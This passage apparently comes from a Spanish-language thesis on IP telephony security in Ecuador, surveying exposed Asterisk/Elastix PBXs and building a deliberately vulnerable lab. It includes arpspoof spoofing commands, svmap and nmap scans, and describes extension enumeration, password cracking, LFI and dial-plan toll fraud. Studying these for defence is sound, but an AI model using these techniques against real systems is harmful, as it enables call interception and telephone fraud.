root@kali:~# arpspoof -t direcc_IP_victima direcc-IP_PBX-IP
root@kali:~# arpspoof -t direcc-IP_PBX-IP direcc_IP_victima
C&oacute;digo 1.7 Par&aacute;metros para ejecuci&oacute;n de arpspoof
1.9.4.4 Exploits
Un exploit es un programa que permite aprovechar alguna vulnerabilidad de
seguridad de un sistema para acceder sin autorizaci&oacute;n.
Existen exploits conocidos y desconocidos (0-day)12. Los primeros son aquellos
de los que se tiene datos y de los cuales se pueden tomar medidas para evitar
intrusiones en los sistemas, aparecen diversos cada d&iacute;a. Los desconocidos
12 Exploit (0-day) – Es un exploit que se utiliza para explotar una vulnerabilidad el mismo d&iacute;a que
es notificada y liberada al p&uacute;blico.
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prev&eacute;n una mayor amenaza debido a que se utilizan en vulnerabilidades que no
han sido reportadas a todo el p&uacute;blico y por lo tanto no existen las suficientes
medidas que los bloqueen.
Algunos exploits que se utilizan y detallan posteriormente en este proyecto son:
&middot;
Inyecci&oacute;n de c&oacute;digo PHP [28].
&middot;
Ejecuci&oacute;n remota de c&oacute;digo [29].
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2 AN&Aacute;LISIS Y CONFIGURACI&Oacute;N DEL PROTOTIPO DE
PRUEBAS
En este cap&iacute;tulo se describir&aacute; el proceso de configuraci&oacute;n del prototipo de
pruebas que permitir&aacute; analizar las vulnerabilidades de sistemas de telefon&iacute;a IP
basados en Asterisk. Para comenzar, sin embargo, se presentar&aacute;n los resultados
de un breve an&aacute;lisis exploratorio sobre la seguridad de estos sistemas en el
Ecuador.
2.1 AN&Aacute;LISIS EXPLORATORIO DE LA SEGURIDAD DE LA
TELEFON&Iacute;A IP EN ECUADOR
2.1.1 LA TELEFON&Iacute;A IP EN EL ECUADOR
El uso masivo de telefon&iacute;a IP en el Ecuador es relativamente reciente. Aunque su
estudio acad&eacute;mico inicia en el a&ntilde;o 2000 en las universidades del pa&iacute;s, y en otros
pa&iacute;ses desarrollados se empieza a ofrecer masivamente como servicio
aproximadamente en 2005. La adopci&oacute;n de la telefon&iacute;a IP en el entorno
institucional p&uacute;blico del Ecuador empieza apenas en el a&ntilde;o 2010 (seg&uacute;n datos del
Sistema Nacional de Compras P&uacute;blicas) [30].
A partir del an&aacute;lisis realizado de datos obtenidos del portal del Sistema Nacional
de Compras P&uacute;blicas del Ecuador, se aprecia c&oacute;mo en los &uacute;ltimos 3 a&ntilde;os hay un
incremento significativo de procesos de adquisici&oacute;n y mantenimiento de sistemas
de telefon&iacute;a IP, cuando en 2009 eran pr&aacute;cticamente inexistentes. Pese a que los
datos obtenidos se refieren a procesos de compra iniciados por entidades
p&uacute;blicas, la informaci&oacute;n obtenida representa un claro indicador de que se lleva a
cabo un proceso masivo de adopci&oacute;n de esta tecnolog&iacute;a en el pa&iacute;s.
A partir del a&ntilde;o 2013, se realizaron 51 procesos de compra relacionados con
telefon&iacute;a IP, que suman poco m&aacute;s de veinte millones de d&oacute;lares en inversi&oacute;n
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p&uacute;blica del estado. De estos procesos 55% se iniciaron en la provincia de
Pichincha, 20% en Guayas, 8% en Azuay, y 5% en Manab&iacute;.
Los datos expuestos dan una ligera idea de la tendencia en el uso de la telefon&iacute;a
IP en el pa&iacute;s. Sin embargo, dicen muy poco sobre el n&uacute;mero de sistemas de
telefon&iacute;a IP que actualmente se encuentran operativos. No existe un censo con
respecto al uso de esta tecnolog&iacute;a, pero de los datos expuestos se puede esperar
que haya una gran cantidad de empresas e instituciones que han adquirido
equipo de telefon&iacute;a IP debido a la gran cantidad de ventajas que ofrece.
Como un primer intento de encontrar informaci&oacute;n sobre los sistemas de telefon&iacute;a
IP instalados en el Ecuador se utiliz&oacute; para este proyecto la herramienta en l&iacute;nea
Shodan. Shodan es un motor de b&uacute;squeda muy particular que permite encontrar
dispositivos conectados a Internet (routers, computadores, servidores, tel&eacute;fonos
IP, etc.), en base a los banners que la mayor&iacute;a de servicios de red publican por
defecto cuando se intenta iniciar una conexi&oacute;n. Estos banners contienen
informaci&oacute;n, a simple vista inofensiva, que podr&iacute;a ser utilizada por un atacante
para aprovechar una vulnerabilidad de un servicio. Shodan indexa esa
informaci&oacute;n en su base de datos y permite que un usuario pueda buscar en ella,
mediante una gran variedad de filtros que facilitan la b&uacute;squeda por pa&iacute;s y por
contenido en el banner, por ejemplo.
Se utiliz&oacute; Shodan para determinar la cantidad de sistemas de telefon&iacute;a IP
conectados a Internet en Ecuador. Aunque es claro que no todos los sistemas de
telefon&iacute;a IP del pa&iacute;s est&aacute;n conectados a Internet y que no todos los que lo est&eacute;n
publican un banner con informaci&oacute;n indexada en Shodan; La muestra obtenida es
&uacute;til para tener una idea del panorama de la telefon&iacute;a IP en el pa&iacute;s, y eso podr&iacute;a
ayudar a orientar el an&aacute;lisis de la seguridad.
Del an&aacute;lisis realizado en Shodan, utilizando solamente el filtro de pa&iacute;s
(country:EC) y la palabra SIP para la b&uacute;squeda en los banners indexados, se
encontraron 512 dispositivos identificados como servidores SIP. De ellos, casi el
50% se ubica geogr&aacute;ficamente en la ciudad de Quito, el 43% en Guayaquil, el 7%
en Cuenca, otros. Se puede notar que existe una correspondencia al menos en lo
que respecta a las provincias que mayor penetraci&oacute;n tendr&iacute;an del uso de telefon&iacute;a
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IP. Se encontr&oacute; tambi&eacute;n que el 22% de esos dispositivos est&aacute;n conectados a la
red de CNT13, un porcentaje similar a Telconet, el 10% a Satnet, el 7% a Netlife, el
6% a Puntonet, el 6% a Etapa y un 37% de otros proveedores de Internet. Quiz&aacute;s
lo m&aacute;s interesante que se encontr&oacute; tiene que ver con el tipo de servicios utilizados
en estos dispositivos. El 27% usan FreePBX (que incluir&iacute;a a Elastix), el 5% usar&iacute;a
la soluci&oacute;n DenwaPBX, el 5% Grandstream, y el 3% Asterisk. Si se consolidan las
soluciones basadas en Asterisk se tiene que se constituyen en un 30% de los
dispositivos encontrados.
De la muestra encontrada, se puede concluir que la soluci&oacute;n de telefon&iacute;a IP m&aacute;s
popular en Ecuador es FreePBX, pero hay que recordar que Elastix, la soluci&oacute;n
ecuatoriana, est&aacute; construida sobre FreePBX. Es muy probable, por tanto que en
realidad la soluci&oacute;n de telefon&iacute;a m&aacute;s popular sea Elastix. Curiosamente,
soluciones que son tambi&eacute;n muy populares en el mercado ecuatoriano de
telefon&iacute;a IP como Cisco y Avaya aparecen marginalmente (3 y 2 veces
respectivamente). Esto podr&iacute;a significar que pocos de estos dispositivos se
conectan a Internet o que los banners que generan est&aacute;n adecuadamente
configurados para no publicar informaci&oacute;n sensible.
Finalmente, se puede observar c&oacute;mo un gran porcentaje de las soluciones de
telefon&iacute;a IP que se encuentran p&uacute;blicamente disponibles en Internet est&aacute;n
basadas en Asterisk, lo que podr&iacute;a generar graves e innecesarios riesgos,
especialmente si esa conexi&oacute;n p&uacute;blica no hace falta. El riesgo descrito se
encuentra vinculado con la disponibilidad de informaci&oacute;n de las versiones de las
soluciones utilizadas en estos dispositivos. Un atacante podr&iacute;a descubrir un
dispositivo de telefon&iacute;a IP funcionando con una versi&oacute;n desactualizada de
software
y por lo tanto seguramente vulnerable. Adem&aacute;s podr&iacute;a utilizar esa
informaci&oacute;n
para
buscar
o
implementar
ataques
que
aprovechen
esa
vulnerabilidad.
2.1.2 LA SEGURIDAD DE LA TELEFON&Iacute;A IP EN EL ECUADOR
Un diagn&oacute;stico completo de la seguridad de los sistemas de telefon&iacute;a IP en
Ecuador puede ser prematuro por la falta de informaci&oacute;n disponible sobre su
13
CNT EP - Corporaci&oacute;n
telecomunicaciones del Ecuador
Nacional
de
Telecomunicaciones,
empresa
p&uacute;blica
de
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penetraci&oacute;n en el pa&iacute;s. Sin embargo, es posible hacer un an&aacute;lisis no intrusivo de
aquellos dispositivos que se encuentran conectados a Internet directamente.
Para empezar, el an&aacute;lisis exploratorio realizado para este proyecto consisti&oacute; en
encontrar los dispositivos (centrales telef&oacute;nicas, tel&eacute;fonos, gateways, etc.) en
Internet que est&eacute;n implementando alg&uacute;n servicio relacionado con telefon&iacute;a IP. Ya
que este servicio usualmente se implementa mediante el protocolo SIP (es el
protocolo de se&ntilde;alizaci&oacute;n telef&oacute;nica IP m&aacute;s popular actualmente), el proceso de
b&uacute;squeda se realiz&oacute; identificando aquellos dispositivos con servicios basados en
SIP. Para ello, este escaneo no intrusivo supuso detectar el tipo de respuesta
obtenida de cada dispositivo a una petici&oacute;n SIP generada deliberadamente.
Con el fin de conseguir datos que involucren a todos los dispositivos conectados a
Internet en Ecuador, este an&aacute;lisis se realiz&oacute; mediante el escaneo no intrusivo de
todas las direcciones IP disponibles en los rangos asignados al Ecuador. Esta
informaci&oacute;n se la obtuvo de Ip2location [31]. En el proceso de determinar si un
dispositivo ejecutaba un servicio relacionado con SIP, fue posible tambi&eacute;n obtener
informaci&oacute;n de la aplicaci&oacute;n (FreePBX, Cisco, Asterisk, etc.), as&iacute; como la versi&oacute;n,
instalada y ejecutando el servicio de telefon&iacute;a IP.
Para ejecutar este escaneo, se utiliz&oacute; la herramienta svmap que es parte de un
conjunto de herramientas agrupadas bajo el nombre de SipVicious [21], [32].
SipVicious puede ser utilizado como un instrumento de auditor&iacute;a de sistemas de
telefon&iacute;a IP pues las herramientas que provee implementan algunas de las etapas
de un proceso de hacking &eacute;tico como escaneo, fingerprinting de servicios, y
enumeraci&oacute;n. La herramienta svmap permite escanear un rango entero de
direcciones IP, buscando servicios de telefon&iacute;a IP pas&aacute;ndole simplemente el
rango de red como argumento. Un ejemplo de uso de esta herramienta y su
correspondiente salida se pueden ver en el C&oacute;digo 2.1. Como se puede observar,
las herramientas de SipVicious, incluyendo svmap son scripts escritos en lenguaje
Python.
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# svmap.py 67.18.186.1-67.18.186.255
| SIP Device
| User Agent | Fingerprint |
-----------------------------------------------------------------------------------|67.18.186.67:5060 |Asterisk PBX |Asterisk/Linksys/PAP2T 3.1.15(LS)
|
|67.18.186.202:5060 |X-Lite
|Asterisk/Linksys/PAP2T-3.1.15(LS)/Asterisk PBX |
|67.18.186.128:5060 |Asterisk PBX |Asterisk / Linksys/PAP2T-3.1.15(LS)
|
C&oacute;digo 2.1 Ejemplo de uso de la herramienta svmap y su salida
Como se puede observar en el C&oacute;digo 2.1, svmap identifica la direcci&oacute;n IP de los
dispositivos con servicios SIP funcionando y adem&aacute;s determina el nombre y la
versi&oacute;n de dichos servicios.
De las pruebas realizadas entre el mes de diciembre de 2013 y febrero de 2014,
se encontraron casi 800 dispositivos en Ecuador conectados a Internet con el
puerto 5060 abierto y alg&uacute;n servicio de telefon&iacute;a IP funcionando a trav&eacute;s de este
puerto. De estos dispositivos, en promedio, la gran mayor&iacute;a (37%) ejecutaban
soluciones basadas en Asterisk y de ellas el 73% utilizaban FreePBX
(seguramente Elastix) mientras que el 27% restante usaba Asterisk puro sin
herramienta gr&aacute;fica. Adem&aacute;s, del total de dispositivos encontrados, el 18% en
promedio usaban soluciones basadas en Grandstream, 12% usaban alguna
soluci&oacute;n de la empresa Innomedia, 8% de Denwa, aproximadamente el 13% se
agrupan en diferentes tipos de marcas y el 12% no muestra en su banner
informaci&oacute;n sobre la aplicaci&oacute;n utilizada.
La informaci&oacute;n encontrada sobre el uso de soluciones basadas en Asterisk
(especialmente Elastix y FreePBX) conectadas a Internet muestra que muchas
empresas est&aacute;n poniendo en marcha centrales telef&oacute;nicas de bajo costo y que
adem&aacute;s est&aacute;n haci&eacute;ndolas disponibles p&uacute;blicamente.
Enfocando el an&aacute;lisis a los dispositivos encontrados que funcionan con FreePBX
(la mayor&iacute;a ser&iacute;a Elastix), se descubri&oacute; que solamente un n&uacute;mero aproximado al
2% de los dispositivos con esta distribuci&oacute;n ten&iacute;an instalada una versi&oacute;n
actualizada (la 12 o 13, liberadas en 2015), el 20% ten&iacute;a instalada la versi&oacute;n 2.10
o 2.11 liberadas hace solo 3 a&ntilde;os pero que son vulnerables a ataques de
ejecuci&oacute;n remota de comandos [33]. Finalmente, el 76% de los dispositivos
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ejecutando FreePBX ten&iacute;an instalada una versi&oacute;n igual o inferior a la 2.8 que
poseen graves vulnerabilidades de seguridad [34], [35].
Por otro lado, de los dispositivos con Asterisk puro instalado, el 30% ten&iacute;an una
versi&oacute;n 1.6 y pr&aacute;cticamente todos ten&iacute;an releases vulnerables (1.6.2.23 o
inferiores) [36]. Un 20% utilizaba la versi&oacute;n 1.8, y de ellos algunos pose&iacute;an un
release vulnerable. Finalmente, casi un 50% de estos dispositivos con Asterisk
puro no mostraron informaci&oacute;n en el banner sobre las versiones instaladas.
Usando la herramienta svwar de SipVicious, es posible implementar tambi&eacute;n un
proceso de enumeraci&oacute;n, mediante el cual se podr&iacute;a determinar los n&uacute;meros de
las extensiones a las que da servicio el sistema de telefon&iacute;a IP. Como ya se
describi&oacute; en el cap&iacute;tulo 1, esto se podr&iacute;a lograr aprovechando el comportamiento
de una central telef&oacute;nica al revelar la existencia de una extensi&oacute;n cuando existe
un intento fallido de registro (contrase&ntilde;a equivocada) usando SIP. La informaci&oacute;n
sobre estos n&uacute;meros de extensi&oacute;n podr&iacute;a ser muy &uacute;til para un atacante para
obtener las contrase&ntilde;as respectivas, considerando que es com&uacute;n utilizar el mismo
n&uacute;mero de extensi&oacute;n como contrase&ntilde;a. De hecho, esta verificaci&oacute;n (si la
contrase&ntilde;a es la misma que el n&uacute;mero de extensi&oacute;n) se puede realizar, junto con
otras pruebas (si la extensi&oacute;n no tiene contrase&ntilde;a) utilizando otra herramienta de
SipVicious
llamada
svcrack.
Disponer
de
los
n&uacute;meros
de
extensi&oacute;n
(identificadores de terminal en soluciones basadas en Asterisk) permitir&iacute;a que el
atacante registre su terminal en la central telef&oacute;nica y haga uso de sus recursos.
Esta prueba, por ser m&aacute;s intrusiva, no se realiz&oacute; en este proyecto.
Del breve an&aacute;lisis realizado en p&aacute;rrafos anteriores se puede concluir que existen
en Internet, correspondientes a Ecuador, muchos dispositivos de telefon&iacute;a IP
p&uacute;blicamente disponibles. La gran mayor&iacute;a de esos dispositivos corren soluciones
derivadas de Asterisk, especialmente Elastix/FreePBX (seguramente porque su
instalaci&oacute;n y configuraci&oacute;n es relativamente sencilla). El problema radicar&iacute;a en
varios factores: primero, que probablemente muchos de esos dispositivos no
necesitan estar conectados a Internet a disposici&oacute;n de miles de atacantes;
segundo, que la configuraci&oacute;n por defecto que ofrecen estas soluciones de
software libre no es la m&aacute;s adecuada porque en ocasiones revelan demasiada
informaci&oacute;n; y, tercero, que la mayor&iacute;a de esos dispositivos ejecutan versiones
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derivadas de Asterisk que est&aacute;n desactualizadas y que
tienen series
vulnerabilidades.
2.1.3 DATOS DE LA SEGURIDAD DE LA TELEFON&Iacute;A IP SEG&Uacute;N EL &Oacute;RGANO
DE REGULACI&Oacute;N Y CONTROL DE LAS TELECOMUNICACIONES
Los &uacute;nicos datos oficiales sobre la seguridad de los sistemas de telefon&iacute;a IP en
Ecuador fueron provistos por la Agencia de Regulaci&oacute;n y Control de las
Telecomunicaciones (Arcotel). Aunque esta informaci&oacute;n es bastante restringida
por las obligaciones que tiene &eacute;sta instituci&oacute;n para el manejo privado de la
informaci&oacute;n de las empresas que han recibido ataques, &eacute;sta puede servir tambi&eacute;n
para tener otra visi&oacute;n aparte de la estrictamente exploratoria que se expuso
previamente.
Usualmente ahora, los incidentes relacionados con sistemas de telefon&iacute;a en
instituciones del pa&iacute;s son detectados por la Corporaci&oacute;n Nacional de
Telecomunicaciones (CNT), empresa que posee la mayor cantidad de abonados
de telefon&iacute;a fija en Ecuador. Cuando la CNT detecta patrones poco comunes en la
generaci&oacute;n de llamadas (llamadas a destinos poco usuales, por ejemplo),
suspenden el servicio y reportan el incidente a la Arcotel para su investigaci&oacute;n. La
divisi&oacute;n en la Arcotel encargada de atender este tipo de incidencias se llama
Ecucert [37], por tanto, los primeros en detectar los incidentes no son las
instituciones afectadas.
Se inform&oacute; que, a partir de las estad&iacute;sticas de hace 3 a&ntilde;os, se registran en
promedio unos 240 casos anuales relacionados con vulneraci&oacute;n de sistemas de
telefon&iacute;a IP que terminan en fraude. Esto quiere decir que terminan en un
perjuicio econ&oacute;mico para la empresa afectada que va de 1000 a 9000 d&oacute;lares
antes de ser detectado. El fraude se realiza por un atacante que logra tener
contacto con la PBX IP de una empresa (casi siempre mediante Internet) y
empieza a sacar llamadas internacionales mediante las troncales que posee la
PBX hacia la PSTN.
Entre las provincias donde se localizan estos incidentes se tiene: Pichincha,
Guayas, Imbabura, Azuay, Manab&iacute;, Azogues y Santo Domingo. Los destinos m&aacute;s
comunes de las llamadas cuando se toma el control de los recursos de estos
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dispositivos son: Sierra Leona, M&oacute;naco, Austria, Serbia, Barbados, Montserrat,
Guinea, Luxemburgo, Estonia, Somalia, Albania, etc.
Ventajosamente, la CNT posee mecanismos para detectar este tipo de fraude, al
identificar ciertos patrones de las llamadas relacionados con: destinos poco
frecuentes, e incremento excesivo del n&uacute;mero de llamadas o de su duraci&oacute;n. Una
vez que existe una sospecha de fraude, es pr&aacute;ctica com&uacute;n de la CNT notificar
inmediatamente a los afectados para que se tomen las medidas correctivas
necesarias para evitar que se agrave el perjuicio econ&oacute;mico causado.
2.2 IMPLEMENTACI&Oacute;N DE PROTOTIPO LOCAL DE TELEFON&Iacute;A
IP PARA AN&Aacute;LISIS DE VULNERABILIDADES
2.2.1 DESCRIPCI&Oacute;N
Este prototipo permite reproducir un entorno controlado para pruebas de
vulneraci&oacute;n que no afecten a sistemas de telefon&iacute;a IP en producci&oacute;n.
Gracias a que las pruebas realizadas no afectan a sistemas cr&iacute;ticos, se pueden
evaluar distintas etapas de un ataque, entre ellas: obtenci&oacute;n de informaci&oacute;n (no
solo mediante escaneo, sino tambi&eacute;n mediante enumeraci&oacute;n), espionaje de tr&aacute;fico
telef&oacute;nico, ataques de fuerza bruta y explotaci&oacute;n de vulnerabilidades espec&iacute;ficas
de distribuciones de Asterisk (espec&iacute;ficamente Elastix).
De manera general, el prototipo est&aacute; conformado por un equipo atacante que
posee las herramientas necesarias para explotar algunas de las vulnerabilidades
de sistemas de telefon&iacute;a IP. Adem&aacute;s, con el objetivo de mostrar algunas
vulnerabilidades espec&iacute;ficas de ciertas distribuciones basadas en Asterisk, se
utilizan en este prototipo 3 m&aacute;quinas con sistemas de telefon&iacute;a IP vulnerables.
Desde el atacante, se realizan varias pruebas para evaluar algunas de las
vulnerabilidades de estos tres sistemas.
Adem&aacute;s, como parte del prototipo se dispone de dispositivos para conectar la red
de telefon&iacute;a interna con la red de telefon&iacute;a celular que permitir&aacute;n hacer pruebas
de concepto de uno de los ataques que se proponen m&aacute;s adelante.
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Finalmente, se utilizan dos softphones para generar llamadas a trav&eacute;s de uno de
los sistemas de telefon&iacute;a con el fin de evaluar el ataque de espionaje de tr&aacute;fico
telef&oacute;nico.
example.ec
M&Aacute;QUINA ATACANTE
.181
atacante
Extensiones
100, 101, 102,
...
118, 119, 120
PBX IP 1
Elastix 2.0
.137
GATEWAY
Extensiones
212, 213, 214, PBX IP 2
…
Elastix 2.2
220, 221, 222
.162
172.31.38.0/23
elastix20
ht503fxo
GATEWAY
Base celular 1
PSTN
0992217475
Base celular 2
elastix22
Extensiones
101,102,103
PBX IP 3
.136
Asterisk
ht503fxo1
0992217472
asterisk
Softphone 1
.195
Softphone 2
.200
Figura 2.1 Diagrama de red Prototipo Local
2.2.2 CONFIGURACI&Oacute;N
El prototipo de an&aacute;lisis local est&aacute; implementado mediante 4 m&aacute;quinas virtuales,
una cumpliendo el rol de atacante y las 3 restantes el rol de v&iacute;ctima. La m&aacute;quina
atacante lleva la distribuci&oacute;n Kali Linux y las m&aacute;quinas v&iacute;ctimas llevan una
aplicaci&oacute;n de telefon&iacute;a IP derivada de Asterisk (Elastix 2.0.0, Elastix 2.2.0 y
Asterisk llano), todas ellas configuradas deliberadamente vulnerables.
Tal como se observa en la Figura 2.1, las 4 m&aacute;quinas virtuales se conectan a la
misma red local, junto con 2 gateways telef&oacute;nicos y 2 softphones. Los gateways
telef&oacute;nicos, de marca Grandstream, permiten al prototipo conectar dos troncales a
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la red de telefon&iacute;a m&oacute;vil de CNT. Los softphones (Zoiper) implementan las
instancias de terminales telef&oacute;nicos.
En la Tabla 2.1, se detallan los componentes del escenario descrito, el nombre
asignado, su funci&oacute;n en este prototipo, direcci&oacute;n IP y detalles de los recursos
disponibles.
Nombre
Funci&oacute;n
Direcci&oacute;n IP
Recursos
atacante
Generaci&oacute;n de ataques
172.31.38.181/23
Procesador: Intel Core i7
de 3.4 GHz
Disco duro: 30 GB
Memoria RAM: 2 GB
Interfaces de red: 1
elastix20
Vulnerable a ataques de:
enumeraci&oacute;n
de
extensiones, fuerza bruta,
denegaci&oacute;n de servicios,
espionaje de llamadas e
inclusi&oacute;n de archivos.
172.31.38.137/23
Procesador: Intel Core i7
de 3.4 GHz
Disco duro: 20GB
Memoria RAM: 1GB
Interfaces de red: 1
elastix22
Vulnerable a inyecci&oacute;n de
c&oacute;digo PHP
172.31.38.162/23
Procesador: Intel Core i7
de 3.4 GHz
Disco duro: 20 GB
Memoria RAM: 2 GB
Interfaces de red: 1
asterisk
Vulnerable a ataques de
plan de marcado
172.31.38.136/23
Procesador: Intel Core i7
de 3.4 GHz
Disco duro: 20 GB
Memoria RAM: 1 GB
Interfaces de red: 1
Base celular 1
Permite la conexi&oacute;n de la
PBX IP con la red de
telefon&iacute;a m&oacute;vil CNT
09922174XX (CNT)
SIM Card: 1
Puerto RJ-11: 2
Puerto Serial : 1
Base celular 2
Permite la conexi&oacute;n de la
PBX IP con la red de
telefon&iacute;a m&oacute;vil CNT
09922174XX (CNT)
SIM Card: 1
Puerto RJ-11: 2
Puerto Serial : 1
ht503fxo
Permite la conectividad de
la PBX IP con la red
telefon&iacute;a m&oacute;vil a trav&eacute;s de
la base celular
172.31.38.160/23
M&oacute;dulo FXO: 1
M&oacute;dulo FXS: 1
Puerto Ethernet :2
ht503fxo1
Permite la conectividad de
la PBX IP con la red
telefon&iacute;a m&oacute;vil a trav&eacute;s de
la base celular
172.31.38.161/23
M&oacute;dulo FXO: 1
M&oacute;dulo FXS: 1
Puerto Ethernet :2
Softphone1
Aplicaci&oacute;n
172.31.38.195/23
Utiliza
de
terminal
el
procesador,
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telef&oacute;nico
Softphone2
Aplicaci&oacute;n
telef&oacute;nico
memoria, micr&oacute;fonos y
parlantes del equipo en el
que se instala
de
terminal
172.31.38.200/23
Utiliza
el
procesador,
memoria, micr&oacute;fonos y
parlantes del equipo en el
que se instala
Tabla 2.1 Hardware de Prototipo Local
Por otro lado, en la Tabla 2.2, se hace referencia a las caracter&iacute;sticas de software
de los distintos componentes, es decir, el sistema operativo o la plataforma sobre
la
que
se
ejecuta,
las
herramientas
disponibles
para
el
an&aacute;lisis
de
vulnerabilidades que se describe m&aacute;s adelante, y, por &uacute;ltimo, algunos detalles de
las configuraciones vulnerables de las m&aacute;quinas que tienen el rol de v&iacute;ctimas.
Nombre de
equipo
Sistema
Operativo/Plataforma
atacante
Kali Linux
SipVicious
(svmap,
svwar,
svcrack)
arpspoof, inviteflood,
No Aplica
elastix20
Elastix 2.0.0
vTigerCRM,
Calling
Cards,
A2Billing,
FreePBX.
alwaysauthreject=no
allowguest=yes
User Agent por defecto
elastix22
Elastix 2.2.0
vTigerCRM,
Calling
Cards,
A2Billing,
FreePBX.
Informaci&oacute;n
p&uacute;blicamente
disponible
a
trav&eacute;s
del
directorio vTigerCRM
asterisk
Asterisk 1.8
Ninguna
Manejo de llamadas entrantes y
salientes en el mismo contexto.
Gateway
telef&oacute;nico
Grandstream HT503
Interfaz
de
administraci&oacute;n v&iacute;a web
No Aplica
Softphone
Zoiper 3.9
Dialpad
integrado,
historial de llamadas,
contactos.
Por defecto funciona sin cifrado
de audio
Herramientas
Configuraci&oacute;n Vulnerable
Tabla 2.2 Software de Prototipo Local
La m&aacute;quina elastix20 est&aacute; instalada con Elastix 2.0.0 una distribuci&oacute;n antigua
derivada de Asterisk y por tanto vulnerable a varios tipos de ataque. Esta PBX IP
se configur&oacute; con 21 extensiones (de la 100 a la 120), entre las cuales existen
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extensiones configuradas con contrase&ntilde;as iguales (vulnerabilidad frente a
ataques de fuerza bruta) a los n&uacute;meros de extensi&oacute;n, otras no tienen contrase&ntilde;a
(vulnerabilidad de suplantaci&oacute;n), y otras tienen contrase&ntilde;as en las que se usan
palabras de diccionario (vulnerable a ataques de fuerza bruta). Adem&aacute;s, esta
m&aacute;quina
tiene
un
par&aacute;metro
de
configuraci&oacute;n
por
defecto
(alwaysauthreject=no, en el archivo sip.conf) que hace que la central
telef&oacute;nica, en el proceso de registro, responda los intentos fallidos de
autenticaci&oacute;n de manera diferente cuando la extensi&oacute;n autenticada existe que
cuando no existe. Esto hace a la PBX IP vulnerable a ataques de enumeraci&oacute;n de
extensiones. Otra opci&oacute;n por defecto de configuraci&oacute;n es allowguest=yes que
permite que cualquier terminal telef&oacute;nico se pueda registrar en la PBX IP sin
necesidad de un proceso de autenticaci&oacute;n. Cualquiera de las vulnerabilidades
anteriores podr&iacute;a permitir que un atacante registre un terminal en la central y haga
uso fraudulento de sus recursos. Por &uacute;ltimo, al igual que las otras PBX del
prototipo, &eacute;sta transmite informaci&oacute;n sobre el tipo de aplicaci&oacute;n telef&oacute;nica y su
versi&oacute;n en el campo User Agent de los mensajes SIP, lo que la hace vulnerable a
ataques de fingerprinting.
La m&aacute;quina elastix22 funciona con la distribuci&oacute;n Elastix 2.2.0 que es vulnerable
a ataques de LFI (Local File Inclusion) gracias a problemas en la versi&oacute;n instalada
de la herramienta de CRM vTigerCRM, que se puede explotar de varias maneras,
incluso mediante exploit que finalmente podr&iacute;a permitir acceso remoto a la PBX.
La m&aacute;quina asterisk tiene instalada la versi&oacute;n 1.8 de Asterisk llano. Esta m&aacute;quina
tiene una configuraci&oacute;n vulnerable en su plan de marcado. Esta vulnerabilidad
consiste en que las llamadas entrantes (de la PSTN a la PBX IP) y salientes (de la
PBX IP a la PSTN) se encuentran en el mismo contexto del plan de marcado de la
PBX por lo que, ya que las llamadas entrantes se contestan autom&aacute;ticamente y
permiten al llamante digitar una extensi&oacute;n, un usuario malicioso podr&iacute;a usar esa
interfaz para sacar llamadas mediante otra troncal de la PBX IP.
Cabe destacar tambi&eacute;n que la comunicaci&oacute;n telef&oacute;nica IP es vulnerable por
defecto ya que el tr&aacute;fico telef&oacute;nico y la se&ntilde;alizaci&oacute;n viajan sin cifrar.
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Finalmente, desde la m&aacute;quina atacante se realizar&aacute;n ataques para evaluar
algunas de las vulnerabilidades de las m&aacute;quinas que cumplen el rol de v&iacute;ctimas.
Para ello, la distribuci&oacute;n Kali Linux instalada en esta m&aacute;quina ofrecer&aacute; algunas de
las herramientas necesarias tales como: Wireshark, arpspoof, inviteflood,
SipVicious, etc.
2.3 AN&Aacute;LISIS DE VULNERABILIDADES
2.3.1 ESCENARIO GENERAL
El prototipo de implementaci&oacute;n de telefon&iacute;a IP local permite analizar las
vulnerabilidades y explotarlas en un entorno controlado, con el fin de proponer
una gu&iacute;a de buenas pr&aacute;cticas que ayuden a la protecci&oacute;n de los sistemas de
telefon&iacute;a IP en ambientes reales. Se considera para la implementaci&oacute;n del
prototipo la plataforma Elastix por conformar el 27% de dispositivos SIP
encontrados en el an&aacute;lisis exploratorio del servicio de telefon&iacute;a IP realizado en
Ecuador.
2.3.2 OBTENCI&Oacute;N DE INFORMACI&Oacute;N DEL SERVICIO DE TELEFON&Iacute;A IP
La obtenci&oacute;n de informaci&oacute;n es un proceso que tiene como prop&oacute;sito reconocer el
objetivo previo a un ataque. Este proceso est&aacute; constituido por varias fases que se
describen a continuaci&oacute;n. [38]
2.3.3 IDENTIFICACI&Oacute;N DE SERVICIO DE TELEFON&Iacute;A IP
La identificaci&oacute;n del servicio de telefon&iacute;a IP permite determinar si el objetivo
(v&iacute;ctima) es un dispositivo de telefon&iacute;a IP. Particularmente, en este proyecto, es
de inter&eacute;s determinar si un equipo funciona como una PBX IP. Esto se puede
conseguir, en primera instancia, encontrando puertos abiertos asociados a estos
servicios de telefon&iacute;a. Por ejemplo, un servicio de telefon&iacute;a basado en SIP abre
com&uacute;nmente el puerto 5060 en UDP. Al encontrar ese puerto abierto, es muy
probable que all&iacute; funcione una instancia de servicio SIP.
Escenario
El escenario para identificar en un dispositivo si ejecuta un servicio de telefon&iacute;a IP
est&aacute; conformado por los siguientes elementos:
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&middot;
M&aacute;quina atacante
&middot;
PBX IP v&iacute;ctima (funcionando con Elastix 2.0.0)
En esta prueba, la PBX IP es escaneada utilizando la herramienta nmap.
Implementaci&oacute;n de la identificaci&oacute;n de servicio de telefon&iacute;a IP usando nmap
Nmap permite obtener informaci&oacute;n de puertos abiertos, servicios, versiones de
sistemas operativos, etc. mediante escaneo de un dispositivo remoto [20] . Para
determinar si un servicio telefon&iacute;a IP (en este caso una instancia de servicio SIP)
est&aacute; ejecut&aacute;ndose en la v&iacute;ctima, se usa nmap para averiguar si el puerto 5060
est&aacute; abierto. En este caso se pueden utilizar las opciones U, T, V, y O de nmap
para determinar los puertos abiertos y, posiblemente, el sistema operativo y los
servicios que se encuentran funcionando en la v&iacute;ctima.
root@kali:~# nmap -sU -sT -sV -O 172.31.38.137
Starting Nmap 6.47 ( http://nmap.org ) at 2016-01-06 12:24 EST
Nmap scan report for 172.31.38.137
Host is up (1.0s latency).
Not shown: 988 closed ports
PORT
STATE
SERVICE
VERSION
22/tcp
open
ssh
OpenSSH 4.3 (protocol 2.0)
25/tcp
open
smtp
Postfix smtpd
80/tcp
open
http
Apache httpd 2.2.3 ((CentOS))
110/tcp open
pop3
Cyrus pop3d
111/tcp open
rpcbind
2 (RPC #100000)
143/tcp open
imap
Cyrus imapd
443/tcp open
ssl/http
Apache httpd 2.2.3 ((CentOS))
514/tcp filtered shell
993/tcp open
ssl/imap
